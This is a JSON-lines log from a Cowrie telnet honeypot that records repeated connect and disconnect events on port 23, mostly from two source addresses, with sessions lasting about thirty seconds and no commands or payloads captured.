{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35708,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cb95bda86c4","protocol":"telnet","message":"New connection: 104.167.8.156:35708 (10.17.0.5:23) [session: 3cb95bda86c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:08.686008Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":32910,"dst_ip":"10.17.0.5","dst_port":23,"session":"714440dafd05","protocol":"telnet","message":"New connection: 104.167.8.156:32910 (10.17.0.5:23) [session: 714440dafd05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:08.765477Z"}
{"eventid":"cowrie.session.closed","duration":31.223880290985107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:09.194209Z","src_ip":"108.61.251.217","session":"f8cd849ffa2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60015058517456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:09.259482Z","src_ip":"108.61.251.217","session":"1101303a0d4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.769807815551758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:09.323531Z","src_ip":"104.167.8.156","session":"1da8da3fb895","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":37678,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ac72b54d2b1","protocol":"telnet","message":"New connection: 104.167.8.156:37678 (10.17.0.5:23) [session: 8ac72b54d2b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:09.329108Z"}
{"eventid":"cowrie.session.closed","duration":30.884997844696045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:09.380806Z","src_ip":"104.167.8.156","session":"8f534bf92e77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":57746,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe4ea725cc38","protocol":"telnet","message":"New connection: 108.61.251.217:57746 (10.17.0.5:23) [session: fe4ea725cc38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:09.395978Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":37938,"dst_ip":"10.17.0.5","dst_port":23,"session":"53a4044838a3","protocol":"telnet","message":"New connection: 104.167.8.156:37938 (10.17.0.5:23) [session: 53a4044838a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:09.417175Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35122,"dst_ip":"10.17.0.5","dst_port":23,"session":"bad7cbbf209d","protocol":"telnet","message":"New connection: 104.167.8.156:35122 (10.17.0.5:23) [session: bad7cbbf209d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:09.469177Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57268,"dst_ip":"10.17.0.5","dst_port":23,"session":"0266df0d7384","protocol":"telnet","message":"New connection: 104.167.8.156:57268 (10.17.0.5:23) [session: 0266df0d7384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:09.572507Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38682,"dst_ip":"10.17.0.5","dst_port":23,"session":"61b4afda9720","protocol":"telnet","message":"New connection: 104.167.8.156:38682 (10.17.0.5:23) [session: 61b4afda9720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:09.663751Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36144,"dst_ip":"10.17.0.5","dst_port":23,"session":"003bf024822f","protocol":"telnet","message":"New connection: 104.167.8.156:36144 (10.17.0.5:23) [session: 003bf024822f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:09.856898Z"}
{"eventid":"cowrie.session.closed","duration":31.18807053565979,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:09.925557Z","src_ip":"104.167.8.156","session":"f71165a1deec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.34022808074951,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:09.968829Z","src_ip":"104.167.8.156","session":"73005496c4e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.327291011810303,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:10.039021Z","src_ip":"104.167.8.156","session":"f5ab3ab57450","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58922,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9215587bf7d","protocol":"telnet","message":"New connection: 104.167.8.156:58922 (10.17.0.5:23) [session: b9215587bf7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:10.076953Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":48536,"dst_ip":"159.203.135.109","dst_port":23,"session":"143f06924d36","protocol":"telnet","message":"New connection: 98.70.41.28:48536 (159.203.135.109:23) [session: 143f06924d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:10.136655Z"}
{"eventid":"cowrie.session.closed","duration":30.7123806476593,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:10.141123Z","src_ip":"108.61.251.217","session":"372b5931b2dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.815963983535767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:10.171047Z","src_ip":"108.61.251.217","session":"2af77fdd6181","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.634465217590332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:10.247354Z","src_ip":"108.61.251.217","session":"a3f05f599aa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.046489715576172,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:10.332959Z","src_ip":"104.167.8.156","session":"fd03b721c3d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.963865756988525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:10.448653Z","src_ip":"104.167.8.156","session":"43eb947f3bf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":57782,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8237d0345e9","protocol":"telnet","message":"New connection: 108.61.251.217:57782 (10.17.0.5:23) [session: a8237d0345e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:10.616955Z"}
{"eventid":"cowrie.session.closed","duration":30.9902982711792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:10.663013Z","src_ip":"108.61.251.217","session":"b476d5b2bc31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.52893853187561,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:10.691636Z","src_ip":"104.167.8.156","session":"9354fc8d293f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":41838,"dst_ip":"10.17.0.5","dst_port":23,"session":"aacaf2b847ff","protocol":"telnet","message":"New connection: 104.167.8.156:41838 (10.17.0.5:23) [session: aacaf2b847ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:10.775661Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":48540,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7c42b75dc64","protocol":"telnet","message":"New connection: 98.70.41.28:48540 (159.203.135.109:23) [session: d7c42b75dc64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:10.962314Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":57796,"dst_ip":"10.17.0.5","dst_port":23,"session":"83d778d6de3b","protocol":"telnet","message":"New connection: 108.61.251.217:57796 (10.17.0.5:23) [session: 83d778d6de3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:10.967548Z"}
{"eventid":"cowrie.session.closed","duration":31.612290382385254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:10.976419Z","src_ip":"104.167.8.156","session":"3a91f16adead","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.362096071243286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:11.058896Z","src_ip":"104.167.8.156","session":"3e64aa151d23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42954,"dst_ip":"10.17.0.5","dst_port":23,"session":"60d0ab2351ed","protocol":"telnet","message":"New connection: 104.167.8.156:42954 (10.17.0.5:23) [session: 60d0ab2351ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:11.156937Z"}
{"eventid":"cowrie.session.closed","duration":30.575478553771973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:11.178377Z","src_ip":"108.61.251.217","session":"25d1b71d84d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34234,"dst_ip":"10.17.0.5","dst_port":23,"session":"90bbdddb87a9","protocol":"telnet","message":"New connection: 104.167.8.156:34234 (10.17.0.5:23) [session: 90bbdddb87a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:11.183183Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44048,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eaf91bddc23","protocol":"telnet","message":"New connection: 104.167.8.156:44048 (10.17.0.5:23) [session: 8eaf91bddc23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:11.507283Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35452,"dst_ip":"10.17.0.5","dst_port":23,"session":"579d53abb29b","protocol":"telnet","message":"New connection: 104.167.8.156:35452 (10.17.0.5:23) [session: 579d53abb29b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:11.595280Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44818,"dst_ip":"10.17.0.5","dst_port":23,"session":"b878c8639ce3","protocol":"telnet","message":"New connection: 104.167.8.156:44818 (10.17.0.5:23) [session: b878c8639ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:11.775093Z"}
{"eventid":"cowrie.session.closed","duration":30.989041566848755,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:11.803262Z","src_ip":"108.61.251.217","session":"ca32c1fd31c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45082,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a1fead49054","protocol":"telnet","message":"New connection: 104.167.8.156:45082 (10.17.0.5:23) [session: 9a1fead49054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:11.879612Z"}
{"eventid":"cowrie.session.closed","duration":30.1721293926239,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:12.029695Z","src_ip":"104.167.8.156","session":"4d0641d89532","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":37134,"dst_ip":"10.17.0.5","dst_port":23,"session":"08597f3dfd8b","protocol":"telnet","message":"New connection: 104.167.8.156:37134 (10.17.0.5:23) [session: 08597f3dfd8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:12.179466Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45922,"dst_ip":"10.17.0.5","dst_port":23,"session":"43b84fbe90f4","protocol":"telnet","message":"New connection: 104.167.8.156:45922 (10.17.0.5:23) [session: 43b84fbe90f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:12.212938Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":57878,"dst_ip":"10.17.0.5","dst_port":23,"session":"add4d16b527c","protocol":"telnet","message":"New connection: 108.61.251.217:57878 (10.17.0.5:23) [session: add4d16b527c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:12.225693Z"}
{"eventid":"cowrie.session.closed","duration":30.529650688171387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:12.274489Z","src_ip":"104.167.8.156","session":"3e32d7c5a912","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43856,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c3694ec3875","protocol":"telnet","message":"New connection: 104.167.8.156:43856 (10.17.0.5:23) [session: 8c3694ec3875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:12.432477Z"}
{"eventid":"cowrie.session.closed","duration":30.96703004837036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:12.535874Z","src_ip":"104.167.8.156","session":"9ef5b9f885d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44256,"dst_ip":"10.17.0.5","dst_port":23,"session":"86a8c57e53fd","protocol":"telnet","message":"New connection: 104.167.8.156:44256 (10.17.0.5:23) [session: 86a8c57e53fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:12.583357Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":57922,"dst_ip":"10.17.0.5","dst_port":23,"session":"688732950f53","protocol":"telnet","message":"New connection: 108.61.251.217:57922 (10.17.0.5:23) [session: 688732950f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:12.643520Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":57952,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cc706c421d8","protocol":"telnet","message":"New connection: 108.61.251.217:57952 (10.17.0.5:23) [session: 0cc706c421d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:12.907008Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53944,"dst_ip":"10.17.0.5","dst_port":23,"session":"2db1528fc40e","protocol":"telnet","message":"New connection: 188.208.141.113:53944 (10.17.0.5:23) [session: 2db1528fc40e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:12.922370Z"}
{"eventid":"cowrie.session.closed","duration":48.03544306755066,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:12.934537Z","src_ip":"188.208.141.113","session":"aecfa92f3c4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49090,"dst_ip":"10.17.0.5","dst_port":23,"session":"c02e446d9d4e","protocol":"telnet","message":"New connection: 104.167.8.156:49090 (10.17.0.5:23) [session: c02e446d9d4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:13.153114Z"}
{"eventid":"cowrie.session.closed","duration":30.682143211364746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:13.267770Z","src_ip":"108.61.251.217","session":"cab61679451c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49582,"dst_ip":"10.17.0.5","dst_port":23,"session":"12035edfa4a7","protocol":"telnet","message":"New connection: 104.167.8.156:49582 (10.17.0.5:23) [session: 12035edfa4a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:13.282317Z"}
{"eventid":"cowrie.session.closed","duration":31.2027747631073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:13.494764Z","src_ip":"104.167.8.156","session":"3b0ef382c738","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98139476776123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:13.501829Z","src_ip":"108.61.251.217","session":"0589dc1a4bfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58125376701355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:13.696946Z","src_ip":"104.167.8.156","session":"9ca9d81e59e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.53561043739319,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:13.719729Z","src_ip":"104.167.8.156","session":"959f0e69e6d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":35768,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcc5a78ad567","protocol":"telnet","message":"New connection: 98.70.41.28:35768 (159.203.135.109:23) [session: dcc5a78ad567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:14.020968Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":58060,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1f59da997cc","protocol":"telnet","message":"New connection: 108.61.251.217:58060 (10.17.0.5:23) [session: a1f59da997cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:14.221253Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":58074,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a288929e7ed","protocol":"telnet","message":"New connection: 108.61.251.217:58074 (10.17.0.5:23) [session: 7a288929e7ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:14.314497Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":58078,"dst_ip":"10.17.0.5","dst_port":23,"session":"33e125f64d89","protocol":"telnet","message":"New connection: 108.61.251.217:58078 (10.17.0.5:23) [session: 33e125f64d89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:14.340465Z"}
{"eventid":"cowrie.session.closed","duration":31.24002456665039,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:14.379289Z","src_ip":"104.167.8.156","session":"f175593c4ba2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":33970,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8847b2a1ea3","protocol":"telnet","message":"New connection: 64.227.9.242:33970 (159.203.135.109:23) [session: d8847b2a1ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:14.754572Z"}
{"eventid":"cowrie.session.closed","duration":31.62335205078125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:14.831286Z","src_ip":"104.167.8.156","session":"d0e7d7557154","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11345362663269,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:15.103081Z","src_ip":"104.167.8.156","session":"4d7cd3474320","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95091700553894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:15.193279Z","src_ip":"108.61.251.217","session":"90b807b4b6aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56046,"dst_ip":"10.17.0.5","dst_port":23,"session":"f76a746fe957","protocol":"telnet","message":"New connection: 104.167.8.156:56046 (10.17.0.5:23) [session: f76a746fe957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:15.248111Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":35784,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bcaebf0f6bc","protocol":"telnet","message":"New connection: 98.70.41.28:35784 (159.203.135.109:23) [session: 4bcaebf0f6bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:15.255406Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56220,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cab77b3107e","protocol":"telnet","message":"New connection: 104.167.8.156:56220 (10.17.0.5:23) [session: 3cab77b3107e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:15.319238Z"}
{"eventid":"cowrie.session.closed","duration":31.219530820846558,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:15.409693Z","src_ip":"104.167.8.156","session":"be33a0ead26e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53786,"dst_ip":"10.17.0.5","dst_port":23,"session":"d146f3f3895d","protocol":"telnet","message":"New connection: 104.167.8.156:53786 (10.17.0.5:23) [session: d146f3f3895d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:15.537410Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":35788,"dst_ip":"159.203.135.109","dst_port":23,"session":"09bf16271e6e","protocol":"telnet","message":"New connection: 98.70.41.28:35788 (159.203.135.109:23) [session: 09bf16271e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:15.545617Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54384,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9a93eab0fce","protocol":"telnet","message":"New connection: 104.167.8.156:54384 (10.17.0.5:23) [session: d9a93eab0fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:15.709400Z"}
{"eventid":"cowrie.session.closed","duration":31.07041573524475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:15.810007Z","src_ip":"108.61.251.217","session":"39ee4daed135","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58088,"dst_ip":"10.17.0.5","dst_port":23,"session":"daaae2c6f3be","protocol":"telnet","message":"New connection: 104.167.8.156:58088 (10.17.0.5:23) [session: daaae2c6f3be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:15.945163Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58136,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ddeb49c5211","protocol":"telnet","message":"New connection: 104.167.8.156:58136 (10.17.0.5:23) [session: 5ddeb49c5211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:15.955830Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58340,"dst_ip":"10.17.0.5","dst_port":23,"session":"275e7fbfdce1","protocol":"telnet","message":"New connection: 104.167.8.156:58340 (10.17.0.5:23) [session: 275e7fbfdce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:16.005875Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":39768,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b710f91621e","protocol":"telnet","message":"New connection: 108.61.251.217:39768 (10.17.0.5:23) [session: 9b710f91621e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:16.196405Z"}
{"eventid":"cowrie.session.closed","duration":30.76937508583069,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:16.207091Z","src_ip":"108.61.251.217","session":"898e8f00de11","protocol":"telnet"}
